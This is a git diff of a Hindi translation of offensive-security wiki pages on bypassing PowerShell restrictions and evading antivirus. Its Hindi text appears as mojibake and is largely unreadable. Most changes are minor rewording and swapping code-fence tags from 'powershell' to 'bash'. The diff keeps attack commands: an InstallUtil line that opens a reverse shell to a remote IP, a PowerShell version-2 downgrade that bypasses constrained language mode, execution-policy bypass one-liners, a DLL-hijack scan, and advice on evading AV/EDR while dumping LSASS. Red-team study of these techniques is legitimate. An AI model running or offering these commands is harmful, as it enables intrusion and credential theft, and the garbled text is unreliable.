рдЕрдзрд┐рдХ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ред
+PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **рдХрдИ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рд▓реЙрдХ рдХрд░ рджреЗрддрд╛ рд╣реИ** рдЬреЛ PowerShell рдХрд╛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ, рдЬреИрд╕реЗ COM рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рдирд╛, рдХреЗрд╡рд▓ рдЕрдиреБрдореЛрджрд┐рдд .NET рдкреНрд░рдХрд╛рд░реЛрдВ, XAML-рдЖрдзрд╛рд░рд┐рдд рд╡рд░реНрдХрдлрд╝реНрд▓реЛ, PowerShell рдХрдХреНрд╖рд╛рдУрдВ, рдФрд░ рдЕрдзрд┐рдХ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ред
 
 ### **рдЬрд╛рдВрдЪреЗрдВ**
-```powershell
+```bash
 $ExecutionContext.SessionState.LanguageMode
 #Values could be: FullLanguage or ConstrainedLanguage
 ```
 ### рдмрд╛рдпрдкрд╛рд╕
-```powershell
+```bash
 #Easy bypass
 Powershell -version 2
 ```
@@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
 ```
-рдЖрдк [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдпрд╛ [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Powershell** рдХреЛрдб рдХреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕реАрдорд┐рдд рдореЛрдб рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
+рдЖрдк [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдпрд╛ [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **Powershell** рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдореЛрдб рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
 
 ## PS рдирд┐рд╖реНрдкрд╛рджрди рдиреАрддрд┐
 
 рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЗрд╕реЗ **рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд** рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рдиреАрддрд┐ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдореБрдЦреНрдп рддрд░реАрдХреЗ:
-```powershell
+```bash
 1┬║ Just copy and paste inside the interactive PS console
 2┬║ Read en Exec
 Get-Content .runme.ps1 | PowerShell.exe -noprofile -
@@ -235,7 +235,7 @@ SSPI рдЙрди рджреЛ рдорд╢реАрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдк
 - %windir%\Windows\System32\Wdigest.dll
 - **Schannel**: SSL рдФрд░ TLS
 - %windir%\Windows\System32\Schannel.dll
-- **Negotiate**: рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (Kerberos рдпрд╛ NTLM, рдЬрд┐рд╕рдореЗрдВ Kerberos рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реИ)
+- **Negotiate**: рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (Kerberos рдпрд╛ NTLM, Kerberos рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╣реИ)
 - %windir%\Windows\System32\lsasrv.dll
 
 #### рдмрд╛рддрдЪреАрдд рдХрдИ рд╡рд┐рдзрд┐рдпрд╛рдБ рдпрд╛ рдХреЗрд╡рд▓ рдПрдХ рд╣реА рдкреЗрд╢ рдХрд░ рд╕рдХрддреА рд╣реИред
diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md
index 0651bf139..3996751c0 100644
--- a/src/windows-hardening/av-bypass.md
+++ b/src/windows-hardening/av-bypass.md
@@ -41,45 +41,45 @@
 
 

source: https://youtu.be/StSLxFbVz0M?t=1439

-[@mgeeky](https://twitter.com/mariuszbit) рд╕реЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЦрд┐рд▓рд╛рдл рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЕрдиреНрдп рдмрд╣реБрдд рдЕрдЪреНрдЫреЗ рдЯрд┐рдкреНрд╕ +рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЦрд┐рд▓рд╛рдл рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП [@mgeeky](https://twitter.com/mariuszbit) рд╕реЗ рдХреБрдЫ рдЕрдиреНрдп рдмрд╣реБрдд рдЕрдЪреНрдЫреЗ рдЯрд┐рдкреНрд╕

Red Team VX Discord #malware-dev рдЪреИрдирд▓

-рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдкрд╣рд▓реЗ рдХрд╣рд╛ рд╣реИ, **рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЙрдкрдХрд░рдг** рдЕрдВрддрддрдГ **рдкрдХрдбрд╝реЗ рдЬрд╛рдПрдВрдЧреЗ**, рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдЖрдк рд╕реЗ рдХреБрдЫ рдкреВрдЫрдирд╛ рдЪрд╛рд╣рд┐рдП: +рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдкрд╣рд▓реЗ рдХрд╣рд╛, **рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЙрдкрдХрд░рдг** рдЕрдВрддрддрдГ **рдкрдХрдбрд╝реЗ рдЬрд╛рдПрдВрдЧреЗ**, рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдЖрдк рд╕реЗ рдХреБрдЫ рдкреВрдЫрдирд╛ рдЪрд╛рд╣рд┐рдП: рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк LSASS рдХреЛ рдбрдВрдк рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, **рдХреНрдпрд╛ рдЖрдкрдХреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ mimikatz рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ**? рдпрд╛ рдХреНрдпрд╛ рдЖрдк рдПрдХ рдЕрд▓рдЧ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХрдо рдЬреНрдЮрд╛рдд рд╣реИ рдФрд░ LSASS рдХреЛ рднреА рдбрдВрдк рдХрд░рддрд╛ рд╣реИред -рд╕рд╣реА рдЙрддреНрддрд░ рд╢рд╛рдпрдж рдмрд╛рдж рд╡рд╛рд▓рд╛ рд╣реИред mimikatz рдХреЛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрддреЗ рд╣реБрдП, рдпрд╣ рд╢рд╛рдпрдж AVs рдФрд░ EDRs рджреНрд╡рд╛рд░рд╛ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдлреНрд▓реИрдЧ рдХреА рдЧрдИ рдореИрд▓рд╡реЗрдпрд░ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ, рдЬрдмрдХрд┐ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╕реНрд╡рдпрдВ рд╕реБрдкрд░ рдХреВрд▓ рд╣реИ, рдЗрд╕рдХреЗ рд╕рд╛рде AVs рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рдирд╛ рдПрдХ рдмреБрд░рд╛ рд╕рдкрдирд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдк рдЬреЛ рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЙрд╕рдХреЗ рд▓рд┐рдП рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВред +рд╕рд╣реА рдЙрддреНрддрд░ рд╢рд╛рдпрдж рдмрд╛рдж рд╡рд╛рд▓рд╛ рд╣реИред mimikatz рдХреЛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЗрддреЗ рд╣реБрдП, рдпрд╣ рд╢рд╛рдпрдж AVs рдФрд░ EDRs рджреНрд╡рд╛рд░рд╛ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдлреНрд▓реИрдЧ рдХреА рдЧрдИ рдореИрд▓рд╡реЗрдпрд░ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ, рдЬрдмрдХрд┐ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╕реНрд╡рдпрдВ рд╕реБрдкрд░ рдХреВрд▓ рд╣реИ, рдЗрд╕рдХреЗ рд╕рд╛рде AVs рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рдирд╛ рдПрдХ рдмреБрд░рд╛ рд╕рдкрдирд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдмрд╕ рдЖрдк рдЬреЛ рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЙрд╕рдХреЗ рд▓рд┐рдП рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВред > [!NOTE] -> рдЬрдм рдЖрдк рдЕрдкрдиреЗ рдкреЗрд▓реЛрдб рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ **рдбрд┐рдлреЗрдВрдбрд░ рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдирдореВрдирд╛ рд╕рдмрдорд┐рд╢рди рдмрдВрдж рдХрд░реЗрдВ**, рдФрд░ рдХреГрдкрдпрд╛, рдЧрдВрднреАрд░рддрд╛ рд╕реЗ, **VIRUSTOTAL рдкрд░ рдЕрдкрд▓реЛрдб рди рдХрд░реЗрдВ** рдпрджрд┐ рдЖрдкрдХрд╛ рд▓рдХреНрд╖реНрдп рд▓рдВрдмреЗ рд╕рдордп рдореЗрдВ рдмрд╛рдпрдкрд╛рд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдкрдХрд╛ рдкреЗрд▓реЛрдб рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ AV рджреНрд╡рд╛рд░рд╛ рдкрдХрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдПрдХ VM рдкрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ, рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдирдореВрдирд╛ рд╕рдмрдорд┐рд╢рди рдмрдВрдж рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ, рдФрд░ рд╡рд╣рд╛рдВ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдЬрдм рддрдХ рдХрд┐ рдЖрдк рдкрд░рд┐рдгрд╛рдо рд╕реЗ рд╕рдВрддреБрд╖реНрдЯ рди рд╣реЛрдВред +> рдЬрдм рдЖрдк рдЕрдкрдиреЗ рдкреЗрд▓реЛрдб рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ **рдбрд┐рдлреЗрдВрдбрд░ рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдирдореВрдирд╛ рд╕рдмрдорд┐рд╢рди рдмрдВрдж рдХрд░реЗрдВ**, рдФрд░ рдХреГрдкрдпрд╛, рдЧрдВрднреАрд░рддрд╛ рд╕реЗ, **VIRUSTOTAL рдкрд░ рдЕрдкрд▓реЛрдб рди рдХрд░реЗрдВ** рдпрджрд┐ рдЖрдкрдХрд╛ рд▓рдХреНрд╖реНрдп рд▓рдВрдмреЗ рд╕рдордп рдореЗрдВ рдмрд╛рдпрдкрд╛рд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдкрдХрд╛ рдкреЗрд▓реЛрдб рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ AV рджреНрд╡рд╛рд░рд╛ рдкрдХрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдПрдХ VM рдкрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ, рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдирдореВрдирд╛ рд╕рдмрдорд┐рд╢рди рдмрдВрдж рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ, рдФрд░ рд╡рд╣рд╛рдВ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдЬрдм рддрдХ рдХрд┐ рдЖрдк рдкрд░рд┐рдгрд╛рдо рд╕реЗ рд╕рдВрддреБрд╖реНрдЯ рди рд╣реЛрдВред ## EXEs vs DLLs -рдЬрдм рднреА рд╕рдВрднрд╡ рд╣реЛ, рд╣рдореЗрд╢рд╛ **рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд▓рд┐рдП DLLs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ**, рдореЗрд░реЗ рдЕрдиреБрднрд╡ рдореЗрдВ, DLL рдлрд╝рд╛рдЗрд▓реЗрдВ рдЖрдорддреМрд░ рдкрд░ **рдмрд╣реБрдд рдХрдо рдкрд╣рдЪрд╛рдиреА рдЬрд╛рддреА рд╣реИрдВ** рдФрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдПрдХ рдмрд╣реБрдд рд╕рд░рд▓ рдЯреНрд░рд┐рдХ рд╣реИ (рдпрджрд┐ рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдореЗрдВ рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ DLL рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реИ)ред +рдЬрдм рднреА рд╕рдВрднрд╡ рд╣реЛ, рд╣рдореЗрд╢рд╛ **рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд▓рд┐рдП DLLs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ**, рдореЗрд░реЗ рдЕрдиреБрднрд╡ рдореЗрдВ, DLL рдлрд╝рд╛рдЗрд▓реЗрдВ рдЖрдорддреМрд░ рдкрд░ **рдмрд╣реБрдд рдХрдо рдкрд╣рдЪрд╛рдиреА рдЬрд╛рддреА рд╣реИрдВ** рдФрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрд╣реБрдд рд╕рд░рд▓ рдЪрд╛рд▓ рд╣реИ (рдпрджрд┐ рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдореЗрдВ рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ DLL рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╣реИ)ред -рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдЗрд╕ рдЫрд╡рд┐ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, Havoc рдХрд╛ рдПрдХ DLL рдкреЗрд▓реЛрдб antiscan.me рдкрд░ 4/26 рдХреА рдкрд╣рдЪрд╛рди рджрд░ рд╣реИ, рдЬрдмрдХрд┐ EXE рдкреЗрд▓реЛрдб рдХреА рдкрд╣рдЪрд╛рди рджрд░ 7/26 рд╣реИред +рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдЗрд╕ рдЫрд╡рд┐ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, Havoc рдХрд╛ рдПрдХ DLL рдкреЗрд▓реЛрдб antiscan.me рдкрд░ 4/26 рдХреА рдкрд╣рдЪрд╛рди рджрд░ рд░рдЦрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ EXE рдкреЗрд▓реЛрдб рдХреА рдкрд╣рдЪрд╛рди рджрд░ 7/26 рд╣реИред

antiscan.me рдкрд░ рд╕рд╛рдорд╛рдиреНрдп Havoc EXE рдкреЗрд▓реЛрдб рдмрдирд╛рдо рд╕рд╛рдорд╛рдиреНрдп Havoc DLL рдХреА рддреБрд▓рдирд╛

-рдЕрдм рд╣рдо рдХреБрдЫ рдЯреНрд░рд┐рдХреНрд╕ рджрд┐рдЦрд╛рдПрдВрдЧреЗ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк DLL рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЕрдзрд┐рдХ рдЫрд┐рдкреЗ рд╣реБрдП рд░рд╣ рд╕рдХреЗрдВред +рдЕрдм рд╣рдо рдХреБрдЫ рдЪрд╛рд▓реЗрдВ рджрд┐рдЦрд╛рдПрдВрдЧреЗ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк DLL рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЕрдзрд┐рдХ рдЫрд┐рдкреЗ рд░рд╣ рд╕рдХреЗрдВред ## DLL Sideloading & Proxying **DLL Sideloading** рд▓реЛрдбрд░ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА DLL рдЦреЛрдЬ рдХреНрд░рдо рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкреАрдбрд╝рд┐рдд рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреЗрд▓реЛрдб рдХреЛ рдПрдХ рд╕рд╛рде рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдк [Siofra](https://github.com/Cybereason/siofra) рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЙрд╡рд░рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ DLL Sideloading рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +```bash Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck } ``` -рдпрд╣ рдХрдорд╛рдВрдб "C:\Program Files\\" рдХреЗ рдЕрдВрджрд░ DLL рд╣рд╛рдЗрдЬреИрдХрд┐рдВрдЧ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреА рд╕реВрдЪреА рдФрд░ рд╡реЗ DLL рдлрд╝рд╛рдЗрд▓реЗрдВ рдЬреЛ рд╡реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рдЖрдЙрдЯрдкреБрдЯ рдХрд░реЗрдЧрд╛ред +рдпрд╣ рдХрдорд╛рдВрдб "C:\Program Files\\" рдХреЗ рдЕрдВрджрд░ DLL рд╣рд╛рдЗрдЬреИрдХрд┐рдВрдЧ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХреА рд╕реВрдЪреА рдФрд░ рдЙрди DLL рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рдХрд░реЗрдЧрд╛ рдЬрд┐рдиреНрд╣реЗрдВ рд╡реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВред рдореИрдВ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрд╢рдВрд╕рд╛ рдХрд░рддрд╛ рд╣реВрдБ рдХрд┐ рдЖрдк **DLL рд╣рд╛рдЗрдЬреИрдХ рдХрд░рдиреЗ рдпреЛрдЧреНрдп/рд╕рд╛рдЗрдбрд▓реЛрдб рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХрд╛ рд╕реНрд╡рдпрдВ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░реЗрдВ**, рдпрд╣ рддрдХрдиреАрдХ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХреА рдЧрдИ рддреЛ рдХрд╛рдлреА рдЫрд┐рдкреА рд╣реБрдИ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдк рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЬреНрдЮрд╛рдд DLL рд╕рд╛рдЗрдбрд▓реЛрдб рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ рдкрдХрдбрд╝реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред -рдмрд╕ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DLL рдХреЛ рдЙрд╕ рдирд╛рдо рдХреЗ рд╕рд╛рде рд░рдЦрдиреЗ рд╕реЗ рдЬреЛ рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, рдЖрдкрдХрд╛ рдкреЗрд▓реЛрдб рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЙрд╕ DLL рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рдФрд░ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕реЗ **DLL рдкреНрд░реЙрдХреНрд╕реАрдВрдЧ/рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред +рдмрд╕ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг DLL рдХреЛ рдЙрд╕ рдирд╛рдо рдХреЗ рд╕рд╛рде рд░рдЦрдиреЗ рд╕реЗ рдЬрд┐рд╕реЗ рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, рдЖрдкрдХрд╛ рдкреЗрд▓реЛрдб рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЙрд╕ DLL рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕ 